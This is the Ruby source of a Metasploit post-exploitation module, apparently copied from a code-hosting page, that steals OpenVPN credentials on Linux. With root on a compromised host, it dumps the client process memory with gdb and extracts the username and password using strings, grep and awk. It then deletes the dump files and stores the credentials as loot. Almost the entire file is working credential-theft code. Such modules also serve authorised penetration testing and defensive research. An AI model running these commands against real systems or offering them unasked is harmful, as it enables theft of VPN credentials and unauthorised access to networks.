Path: blob/master/modules/post/linux/gather/openvpn_credentials.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv8include Msf::Post::Linux::System910def initialize(info = {})11super(12update_info(13info,14'Name' => 'OpenVPN Gather Credentials',15'Description' => %q{16This module grab OpenVPN credentials from a running process17in Linux.1819Note: --auth-nocache must not be set in the OpenVPN command line.20},21'License' => MSF_LICENSE,22'Author' => [23'rvrsh3ll', # Discovery24'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module25],26'Platform' => ['linux'],27'SessionTypes' => ['shell', 'meterpreter'],28'References' => [29['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh']30],31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [],34'Reliability' => []35}36)37)3839register_options([40OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),41OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])42])43end4445def pid46datastore['PID']47end4849def tmp_path50datastore['TMP_PATH']51end5253def run54user = cmd_exec('/usr/bin/whoami')55print_good("Module running as \"#{user}\" user")5657unless is_root?58print_error('This module requires root permissions.')59return60end6162cmd = "/bin/grep rw-p /proc/#{pid}/maps | "63cmd << 'sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | '64cmd << "while read start stop; do /usr/bin/gdb --batch-silent --silent --pid #{pid} -ex \"dump memory #{tmp_path}#{pid}-$start-$stop.dump 0x$start 0x$stop\"; done 2>/dev/null; echo $?"65dump = cmd_exec(cmd)6667if dump.chomp.to_i != 068print_warning('Could not dump process.')69return70end7172vprint_good('Process dumped successfully.')7374strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")7576deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")77if deldump.chomp.to_i == 078vprint_good('Removing temp files successfully.')79else80print_warning('Could not remove dumped files. Remove manually.')81end8283fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?8485vprint_good("OpenVPN Credentials:\n#{strings}")8687p = store_loot(88'openvpn.grab',89'text/plain',90session,91strings,92nil93)94print_status("OpenVPN Credentials stored in #{p}")95end96end979899